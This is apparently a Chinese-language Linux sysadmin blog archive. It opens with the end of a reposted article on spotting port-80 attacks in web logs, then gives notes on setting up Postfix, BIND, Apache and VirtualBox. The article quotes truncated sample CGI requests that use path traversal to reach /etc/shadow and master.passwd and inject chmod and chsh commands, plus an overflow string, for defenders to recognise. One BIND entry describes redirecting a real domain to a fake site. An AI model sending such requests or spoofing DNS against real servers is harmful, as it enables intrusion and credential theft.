http://host/cgi-bin/bad.cgi?doh=../../. ... index.html│ http://host/cgi-bin/bad.cgi?doh=chmod%2 ... ndex.html; http://host/cgi-bin/bad.cgi?doh=../../. ... ter.passwd│ http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../. ... etc/shadow│
"/etc/passwd" 文件
這是系統的密碼檔,一般是shadow過的,並且不允許看到加密的口令,不過對攻擊者來說,可以知道那些是有效的用戶,以及系統的絕對路徑,站點名稱等資訊,由於通常被shadow過的,所以對攻擊者,通常會查看/etc/shadow 檔
"/etc/master.passwd"
這個檔是BSD系統的密碼檔,包含有加密過的密碼,這個檔對root帳號僅僅是唯讀的,而一些不熟練的攻擊者會打開他試圖讀取裡面的內容.,如果web站點是以root許可權運行的,那麼對攻擊者來說,就能夠讀取裡面的內容,對系統管理員很多問題也將接踵而來
"/etc/shadow"
包含有加密過的系統口令,對root帳號同樣唯讀,和/et/master.passwd差不多
"/etc/motd"
當用戶登陸進unix系統中出現的資訊,就在這個"Message of the Day" 檔中 ,它提供重要的系統資訊和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本資訊,攻擊者通常查看此檔,瞭解是什麼系統在運行, 對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權
"/etc/hosts"
該檔提供ip位址和網路資訊,攻擊者可以瞭解更多的系統中的網路設置
"/usr/local/apache/conf/httpd.conf"
這是個Apache web伺服器的配置檔,攻擊者可以瞭解諸如cgi,ssi是否可訪問等資訊
"/etc/inetd.conf"
這是inetd服務的配置檔,攻擊者可以瞭解遠端機器上的那些服務啟動,是否用了wrapper進行訪問控制,如果發現wrapper 運行著,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裡面的一些設置,獲得特權
".htpasswd, .htaccess, and .htgroup"
這些檔通常在web站點用於對用戶身份進行認證,攻擊者會查看這些檔,並獲得用戶名和密碼,密碼檔.htpasswd被加密過,通過一些簡單的破解程式進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)
"access_log and error_log"
這些是apache伺服器的日誌記錄檔,攻擊者常會查看這些檔,看那些請求被記錄,那些和其他請求不同的地方
通常,攻擊者會修改這些日誌檔,比如他自身的位址資訊,攻擊者通過80埠突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程式記錄系統狀況,這將使入侵檢測工作變的很困難
"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"
Windows NT系統中的密碼檔,如果遠端命令不可以執行,通常攻擊者會請求這些檔,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼檔,如果成功那麼遠端機器將被攻擊者得到控制權
[溢出 分析]
我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩衝攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現
下面是個簡單的列子
Example:
http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
這個列子展示了攻擊者對某個應用程式發送很多的A字元,來測試程式的緩衝溢出,緩衝溢出可以獲得遠端主機的命令執行許可權,如果是具有 setuid和屬主為root的程式,通過溢出,可以得到整個系統的訪問許可權,如果不是setuid之類的程式,那麼溢出僅僅是得到運行該web站點的 用戶許可權
這裡並不能講述所有的情況,不過你應該有定時的檢查你的日誌檔,如果那一天突然發現很多的請求,而平時的請求不多,那麼說明你正遭受到溢出的攻擊,當然也可能是一種新的網路蠕蟲的攻擊
[編碼轉換]
以上提及的所有攻擊請求,攻擊者通常知曉IDS系統常會機械的檢查這些請求,通常是攻擊者會用編碼轉換工具將所請求的內容轉化成16進制的格式, 導致IDS會忽略這些請求,我們熟知的CGI漏洞掃瞄工具Whisker就是個很好的列子。如果你在查看日誌的時候發現大量的16進制和不常見的一些字 元,那麼可能攻擊者嘗試用一些方式對你的系統進行攻擊
一種快速發現的方法是,將你的日誌檔中的那些16進制的請求,拷貝到你的流覽器中,通過流覽器可以轉化成正確的請求,並顯示出來請求的內容,如果你不敢冒這個危險,簡單的man ASCII,可以提供給你正確的編碼。
[結論]
這篇文章不可能覆蓋所有的80埠的攻擊,但是以上已經列舉了大部分普遍的攻擊方式,同時告訴你如何檢查你的日誌檔,和怎樣加如一些IDS的規則, 寫她的目的在於給web系統管理員應該關注什麼提供一個好的思路,同時,我也希望這篇文章可以幫助給web程式的開發者寫出更好的web程式
作者註:如果你有什麼註解和建議,請發電子郵件
niska@21cn.com
http://bbs.ccidnet.com/showthread.php?threadid=207099
2009年12月6日
postfix mail server -- 加入認證
smtpd_sasl_auth_enable = yes加上上次的設定,這樣一來才不會隨便的relay跟讓人可以隨意使用mail server,必須要有帳號密碼才可以,無意間變成垃圾信主機可是會惹上麻煩的
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostname
smtpd_recipient_restrictions = permit_mynetworks, permit_auth_destination, permit_sasl_authenticated, reject
2009年12月5日
postfix mail server
...在/var/named/chroot/var/named/新增檔案named.sky.com,並且加入MX紀錄
zone "sky.com"{
type master;
file "named.sky.com";
};
...
安裝postfix完畢後可以修改/etc/postfix/main.cf內的參數,這些參數散在各行之間
mydomain=sky.com
myhostname=mail.sky.com
myorigin=$mydomain
mynetworks=192.168.217.0/24,127.0.0.0/24
inet_interfaces=all
mydestination=$myhostname, localhost,$mydomain,localhost
home_mailbox=Maildir/
- mydomain:網域名稱
- myhost:mail server主機名稱
- myorigin:來源名稱(對其他MTA)
- networks:表示信賴的以及幫忙relay信件的網域
- inet_interfaces:表示監控的internet的介面卡/網路卡
- home_mailbox:儲存mail的地方,如果不設定預設為/var/spool/mailbox,這裡的意思是把mailbox送到各個使用者的家目錄下
為了讓使用者可以透過pop3或者imap做收發信的動作,需另外安裝dovecot套件
修改/etc/dovecot.conf
取消兩處註解
protocols = imap imaps pop3 pop3s重新啟動server
mail_location = maildir:~/Maildir
2009年11月24日
Bind Server (2) -- 設定
- /etc/hosts:由檔案紀錄hostname => IP
- /etc/resolv.conf:紀錄dns server的IP
- /etc/nsswitch.conf:決定先使用hosts還是resolv.conf來做查詢,其中有一行hosts: files mdns4_minimal dns 表示先使用hosts檔案解析,後來才輪到dns
bind9主要的global設定檔在於/etc/named.conf,預設他只有監控127.0.0.1來的query,且只允許localhost的query
修改後的樣子如上圖,如果要仔細知道每個個參數的意義可以參考一下鳥哥的網站,可以看到named.conf後面還有許多參數,分別表示zone的名稱跟檔案位置,比方說,如果高興的話可以增加一個kimo.com的domain,然後把dns指向這台自己架設的dns server,這樣做可以竄改kimo.com的位置。底下是新增zone的設定
然後在/var/named/chroot/var/named這個目錄新增一個檔案為named.kimo.com,內容如下
這樣一來,就可以把www.kimo.com的名稱轉換到192.168.217.33去了,高興的話還可以在192.168.217.33這台電腦上架設httpd server做個假的kimo.com的伺服器,放上自己喜歡的網頁,像是下圖這樣
可以看到瀏覽器上面的確是www.kimo.com,可是網頁內容卻不是正常的內容
2009年11月23日
Bind Server (1) -- 安裝
安裝dns需要安裝bind跟bind-chroot套件,目前chroot已經慢慢成為一趨勢,如果不幸被hack,可以減低傷害,因為server將被限制在chroot的目錄下
在fedora上安裝完畢之後要修改/etc/sysconfig/named,在最後加入
ROOTDIR=/var/named/chroot
表示將原本在/etc跟/var下的路徑改變到ROOTDIR下,變成
/var/named/chroot/etc/named.conf
/var/named/chroot/var/named/zone_file1
/var/named/chroot/var/run/named/…
可以確定
/etc/init.d/named start
確定啟動
netstat –nutlp
尋找port number 53 & named process
確定啟動成功
tail –n 15 /var/log/messages | grep named
在最後一行會看到一個running
使用nslookup,將server設定為localhost,嘗試著去query看看,如果可以的話應該沒有問題
2009年11月22日
Aapche Server(2) -- 使用者目錄與基本認證
要注意,在user_ID之前要有蚯蚓的符號喔~~~
UserDir設定
fedora修改/etc/httpd/conf/httpd.conf
可以找到UserDir disabled,將它加上註解符號變成#UserDir disabled,表示啟動
接著在稍微後面的地方加上UserDir www,表示要用www,接著重新啟動apacheubuntu則是使用指令a2enmod userdir,接著修改該檔案/etc/apache2/mods-enabled/userdir.conf
把UserDir後面修改成自己的想要的名稱,如www,跟者要修改Directory記得重新啟動apache
網頁認證
一般不需要複雜權限管理的系統,或者是不會寫程式,可以考慮直接使用apache內建的功能
fedora依樣修改/etc/httpd/conf/httpd.conf
在裡面加上
Directory後面接著要限制的目錄,要進入該目錄底下時,瀏覽器都會跳出一個詢問視窗,要求輸入帳號密碼,/opt/passwords則是紀錄帳號密碼的檔案位置,可以自由輸入,只要記得該路徑就好,跟系統的passwd檔案室差不多的功能,require user後面為允許使用該目錄的使用者,且同時在要存在/opt/passwords裡面才可以,要進入該目錄兩者缺一不可
接著可以用htpasswd -c /opt/passwords User1來幫建立帳號密碼,-c表示如果該檔案不存在則建立一個,如果存在則刪除重新建立,如果檔案已經存在,記得不要加上-c
2009年11月21日
Apache Server(1) -- 安裝
apt-get install apache2
yum install httpd
安裝完畢之後,輸入http://localhost/就可以看到一個首頁,其實這是個error page而非正常的index page
在設定檔的部分,兩者也有不同,我已經不知道是誰修改了apache(雖然說基本原則一樣),設定的方式還有些差別
以fedora來說,所有的設定幾乎集中在一個檔案/etc/httpd/conf/httpd.conf下面,其他的設定檔案放在/etc/httpd/conf.d/這目錄底下
ubuntu則是把httpd.conf這個精簡化到幾乎只有ServerName,其他一般設定放置在/etc/apache2/apache2.conf內,再把一些模組的設定分散到各個目錄內,全部都在路徑/etc/apache2下
- mods-available
- mods-enabled
- sites-available
- sites-enabled
另外script使用的方式是
#fedora經過以上的說明,相信大家大概都知道,為何同樣的東西,我說在fedora跟ubuntu用起來不大一樣了吧
/etc/init.d/httpd start|stop|restart
#ubuntu
/etc/init.d/apache2 start|stop|restart
2009年11月20日
DNS概念(3)
作Cache有些議題需要注意的,雖然因為不用反覆查詢可以有效的降低網路頻寬且同時可以有較快的回應速度,但是他的更新並不及時,如果Cache資料太久就會發生,其實這個Name已經轉換到其他IP的問題,但是如果頻頻更新cache又會有效能不彰的問題DNS也有另外一個重要的紀錄就是Mail Server的認證,比方說當一個Client要寄信到xxx@MailServer2Name的時候,他會先查詢自己的smtp主機name,把信件送到Mail Server 1,當Mail Server 1收到這個信件,並確認Client是他所允許的用戶端的時候,他會接著查詢Mail Server 2的名稱,將這封信轉送到Mail Server 2去,當Mail Server 2收到來自Mail Server 1的要求的時候,他也會去檢驗Mail Server 1的MX紀錄是否存在DNS內
底下就是一個沒有授權的Mail Server想要傳送信被拒絕的例子,因為接收Request的Mail Server查詢DNS的時候發現,這台Mail Server的MX紀錄並不存在,所以拒絕他的信件
2009年11月19日
DNS概念(2)
理論上是以domain為單位來看DNS管理,可是實際上卻是用zone的方式,所謂的zone只一台機器的資料庫管理的範圍,他有可能是兩三個domain組成的



在domain的架構完成之後,接著是如何解析,也就是完成Name=>IP這樣的動作,基本上會有幾個角色resolver也就是發出Name=>IP的程式或者host,Name Server也就是管理某個domain的機器,整個查詢會是反覆(iterative)跟遞迴(recursive)的查詢,以底下的圖來說明

一開始resolver會跟預設的DNS Server提出要求,預設的DNS Server會先察看自己的domain跟要求的是否一致,如果屬於自己的管理範圍,則直接回傳IP,如果不一致,則由root開始尋找,root會回應一個管理該sub-domain的name server去負責這件事情,接著預設的DNS Server會改查詢該name server,一直反覆這個動作,直到找到該負責name server記錄者有這筆資料為止,其實上面的過程是一個在尋訪DNS樹狀架構的過程,可以另外以這張圖表示

圖片來自Oreilly的書籍DNS & Bind
2009年11月18日
DNS概念(1)
所以DNS就針對這樣的問題發展了出來,一套可以由名稱對應到IP的機制,並且是分散式的架構,一方面可以解決效能的問題,另外一方面可以增加彈性,甚至更多的應用,比方說多個名稱對應到同一個IP
每個DNS伺服器有若干個資料庫,每個資料庫中都充滿了RR (Resource Record),重要的RR簡單列表如下
Domain Record
- SOA:Start Of Authority
- NS:Name Server
- MX:Mail Exchange
- A:Address (IPv4)
- AAAA:Address (IPv6)
- CNAME:Alias
- PTR:Pointer
- Root是top level domain (TLD)
- General TLD : .com, .org, .net, …
- Country TLD : .tw, .ca, .us, …
2008年6月4日
EMail Server on Linux
內容我刪減過,只是單純的擷取一些想要的部分,一堆OS之類的討論就免了,在此也只有做個紀錄,並沒有比較
事實上Mail Server要合用有時候還真的很困難,垃圾信太多會叫,檔到太多的重要信也會叫Orz
=====
posfix,頂多加clamav和mailscanner,spamassassin....
=====
GMail for your domain
=====
建議花點小錢用套裝軟體
小弟建議:Openfind公司的 mail2000
簡介: http://www.mail2000.com.tw/
小弟公司就是使用它們的!
架設容易!只需要一台有LINUX平台的電腦!啥設定都不用!
安裝它的程式就好了!LINUX的部份安裝系統的部分較好了!其餘的伺服器應用模組都不用
選它的理由:連台灣教育部都是用這套了!沒有比它強的了!防廣告郵件效率高!防病毒郵件效率高!
=====
mail server 的軟體用的是
sendmail 及 Qpopper
ftp://ftp.qualcomm.com/eudora/servers/unix/popper/
上述供大約 30 人使用的辦公網路環境
另一大陸伺服器是 Pentium III 1G / 256MB / HD 300GB
用於 FTP 及 MAIL 供大約 50~60 人使用
主要傳輸大檔案,及郵件附加檔也很大;都可以應付過去
網路卡都有兩片或三片。分別接通不同的線路 HINET / SEEDNET 以便分流,避免資料傳輸塞車
要擋垃圾信及管理信件分派
則要研究一下 SENDMAIL 的設定語法如下。
可以直接把一些不想收的信直接剔除擋下來
SCheck_From
R$* <> $#discard $: ${spammsg}
R $+ ISO-2022-JP $+ @hotmail.com> $#discard $: ${spammsg}
R $+ GB2312 $+ $#discard $: ${spammsg} GB2312
=====
主機dell 2950 2u server
OS FreeBSD 7.0
跑postfix +mailscanner +spamm+clamav +samba +dovecot+RADIUS+pureftpd+Mysql+Apache+php
服務180人左右,穩的很...
=====
B2D
由臥龍老大自己維護的版本,定時會發佈應該更新的套件,
很多套件甚至有他自己維護的版本例如Clamav,安全度不會比商業軟體差,
而且,安裝完只要填上正確的domain跟IP範圍,就可以用了,
超級簡單的啦.....
=====
2007年11月23日
Server model下執行Virtual Box
那麼該如何在 Linux Server 中,令它在一啟動時,即啟動 Windows Server Service 呢?其實很簡單,在你的 /etc/rc.local 中加入一行
VBoxVRDP -startvm WinXP &
這 樣就夠了, WinXP 是 Guest OS 的名稱。這種啟動方式,讓你不須要跑一個 X window 環境來秀出 Windows Server 的視窗,它會啟動在背景中,如果你有設定 Guest OS(WinXP) 可以遠端顯示的話,你可以在別台電腦以 rdp 連線來控制 Guest OS(WinXP) 。
設定好了以背景方式啟動 Guest OS 後,再設定外部連線可以轉到 Guest OS port 。設定指令如下:
# VBoxManage setextradata "WinXP" "VBoxInternal/Devices/pcnet/0/LUN#0/Config/http/Protocol" TCP
# VBoxManage setextradata "WinXP" "VBoxInternal/Devices/pcnet/0/LUN#0/Config/http/GuestPort" 80
# VBoxManage setextradata "WinXP" "VBoxInternal/Devices/pcnet/0/LUN#0/Config/http/HostPort" 8080
上述指令只須設定一次即可,設定後,請重新開啟 VirtualBox 軟體。這樣別人就可以從 http://x.x.x.x:8080/ 來瀏覽你的 Windows Server 的網頁伺服器了。
出自http://hoamon.blogspot.com/2007/11/virtualbox-guest-os-host-os-linux.html
2007年11月18日
安裝apache2
現在apache2基本上應該已經很穩定了,用ubuntu裝apache2, php, myssql向來都不是很困難的事情,不過麻煩的是後續設定
果然~apache2大搬風,設定檔的架構大改,不再是過去單一個設定檔,或幾個設定檔案include過來include過去
先改使用者目錄,我一直不喜歡public_html這樣的名字,喜歡用www
vim /etc/apache2/mods-enabled/userdir.conf
在這下面可以找到
apache2也多了不少設定跟增加的指令,對於虛擬主機的管理也是加強不少,應該是順應潮流吧,一堆東西也模組化
若要增加 virtual host
則要在 /etc/apache2/sites-avaible 下新增設定檔
用 a2ensite / a2dissite 啟動/關閉設定檔
修改完畢apache2之後開始對mysql動手腳,反正現在開始推utf8,當然要順應潮流囉,不要搞得"萬碼奔騰"
vim /etc/mysql/my.cnf大致上來說是這樣,待會在看看有沒有必要裝PEAR,我真的離這東西太遠了,之前還在PHP4,轉眼已經到了PHP5,然後大家開始用PEAR
在 [client] 下增加
default-character-set=utf8
在 [mysqld] 下增加
default-character-set=utf8
default-collation=utf8_general_c
想來PEAR是學習perl作法吧,反正我沒有太多語言情節,好的作法大家就是要倣傚,然後流傳下去,程式語言過個十幾年換新的很正常
2007年6月13日
Ubuntu 7.04安裝Postfix With SMTP-AUTH And TLS
http://www.howtoforge.com/perfect_setup_ubuntu704_p5
從上面網址看來的,作一下筆記
In order to install Postfix with SMTP-AUTH and TLS do the following steps:
apt-get install postfix libsasl2 sasl2-bin libsasl2-modules libdb3-util procmail
You will be asked two questions. Answer as follows:
General type of configuration? <-- Internet Site
Mail name? <-- server1.example.com
Then run
dpkg-reconfigure postfix
Again, you'll be asked some questions:
General type of configuration? <-- Internet Site
Where should mail for root go <-- [blank]
Mail name? <-- server1.example.com
Other destinations to accept mail for? (blank for none) <-- server1.example.com, localhost.example.com, localhost.localdomain, localhost
Force synchronous updates on mail queue? <-- No
Local networks? <-- 127.0.0.0/8
Use procmail for local delivery? <-- Yes
Mailbox size limit <-- 0
Local address extension character? <-- +
Internet protocols to use? <-- all
Next, do this:
postconf -e 'smtpd_sasl_local_domain ='
postconf -e 'smtpd_sasl_auth_enable = yes'
postconf -e 'smtpd_sasl_security_options = noanonymous'
postconf -e 'broken_sasl_auth_clients = yes'
postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination'
postconf -e 'inet_interfaces = all'
echo 'pwcheck_method: saslauthd' >> /etc/postfix/sasl/smtpd.conf
echo 'mech_list: plain login' >> /etc/postfix/sasl/smtpd.conf
Afterwards we create the certificates for TLS:
mkdir /etc/postfix/ssl
cd /etc/postfix/ssl/
openssl genrsa -des3 -rand /etc/hosts -out smtpd.key 1024chmod 600 smtpd.key
openssl req -new -key smtpd.key -out smtpd.csropenssl x509 -req -days 3650 -in smtpd.csr -signkey smtpd.key -out smtpd.crt
openssl rsa -in smtpd.key -out smtpd.key.unencrypted
mv -f smtpd.key.unencrypted smtpd.key
openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
Next we configure Postfix for TLS:
postconf -e 'smtpd_tls_auth_only = no'
postconf -e 'smtp_use_tls = yes'
postconf -e 'smtpd_use_tls = yes'
postconf -e 'smtp_tls_note_starttls_offer = yes'
postconf -e 'smtpd_tls_key_file = /etc/postfix/ssl/smtpd.key'
postconf -e 'smtpd_tls_cert_file = /etc/postfix/ssl/smtpd.crt'
postconf -e 'smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem'
postconf -e 'smtpd_tls_loglevel = 1'
postconf -e 'smtpd_tls_received_header = yes'
postconf -e 'smtpd_tls_session_cache_timeout = 3600s'
postconf -e 'tls_random_source = dev:/dev/urandom'
postconf -e 'myhostname = server1.example.com'
The file /etc/postfix/main.cf should now look like this:
cat /etc/postfix/main.cf
# TLS parameters
smtpd_tls_cert_file = /etc/postfix/ssl/smtpd.crt
smtpd_tls_key_file = /etc/postfix/ssl/smtpd.key
smtpd_use_tls = yes
smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache
# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.
myhostname = server1.example.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = server1.example.com, localhost.example.com, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8
mailbox_command = procmail -a "$EXTENSION"
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
smtpd_sasl_local_domain =
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
broken_sasl_auth_clients = yes
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination
smtpd_tls_auth_only = no
smtp_use_tls = yes
smtp_tls_note_starttls_offer = yes
smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem
smtpd_tls_loglevel = 1
smtpd_tls_received_header = yes
smtpd_tls_session_cache_timeout = 3600s
tls_random_source = dev:/dev/urandom
Restart Postfix:
/etc/init.d/postfix restart
Authentication will be done by saslauthd. We have to change a few things to make it work properly. Because Postfix runs chrooted in /var/spool/postfix we have to do the following:
mkdir -p /var/spool/postfix/var/run/saslauthd
Now we have to edit /etc/default/saslauthd in order to activate saslauthd. Set START to yes and change the line OPTIONS="-c" to OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd -r":
vi /etc/default/saslauthd
#
# Settings for saslauthd daemon
#
# Should saslauthd run automatically on startup? (default: no)
START=yes
# Which authentication mechanisms should saslauthd use? (default: pam)
#
# Available options in this Debian package:
# getpwent -- use the getpwent() library function
# kerberos5 -- use Kerberos 5
# pam -- use PAM
# rimap -- use a remote IMAP server
# shadow -- use the local shadow password file
# sasldb -- use the local sasldb database file
# ldap -- use LDAP (configuration is in /etc/saslauthd.conf)
#
# Only one option may be used at a time. See the saslauthd man page
# for more information.
#
# Example: MECHANISMS="pam"
MECHANISMS="pam"
# Additional options for this mechanism. (default: none)
# See the saslauthd man page for information about mech-specific options.
MECH_OPTIONS=""
# How many saslauthd processes should we run? (default: 5)
# A value of 0 will fork a new process for each connection.
THREADS=5
# Other options (default: -c)
# See the saslauthd man page for information about these options.
#
# Example for postfix users: "-c -m /var/spool/postfix/var/run/saslauthd"
# Note: See /usr/share/doc/sasl2-bin/README.Debian
OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd -r"
Now start saslauthd:
/etc/init.d/saslauthd start
To see if SMTP-AUTH and TLS work properly now run the following command:
telnet localhost 25
After you have established the connection to your Postfix mail server type
ehlo localhost
If you see the lines
250-STARTTLS
and
250-AUTH PLAIN LOGIN
everything is fine.
The output on my system looks like this:
root@server1:/etc/postfix/ssl# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
220 server1.example.com ESMTP Postfix (Ubuntu)
ehlo localhost
250-server1.example.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
quit
221 2.0.0 Bye
Connection closed by foreign host.
Type
quit
to return to the system's shell.
14 Courier-IMAP/Courier-POP3
Run this to install Courier-IMAP/Courier-IMAP-SSL (for IMAPs on port 993) and Courier-POP3/Courier-POP3-SSL (for POP3s on port 995):
apt-get install courier-authdaemon courier-base courier-imap courier-imap-ssl courier-pop courier-pop-ssl courier-ssl gamin libgamin0 libglib2.0-0
You will be asked two questions:
Create directories for web-based administration ? <-- No
SSL certificate required <-- Ok
If you do not want to use ISPConfig, configure Postfix to deliver emails to a user's Maildir*:
postconf -e 'home_mailbox = Maildir/'
postconf -e 'mailbox_command ='
/etc/init.d/postfix restart
*Please note: You do not have to do this if you intend to use ISPConfig on your system as ISPConfig does the necessary configuration using procmail recipes. But please go sure to enable Maildir under Management -> Server -> Settings -> EMail in the ISPConfig web interface.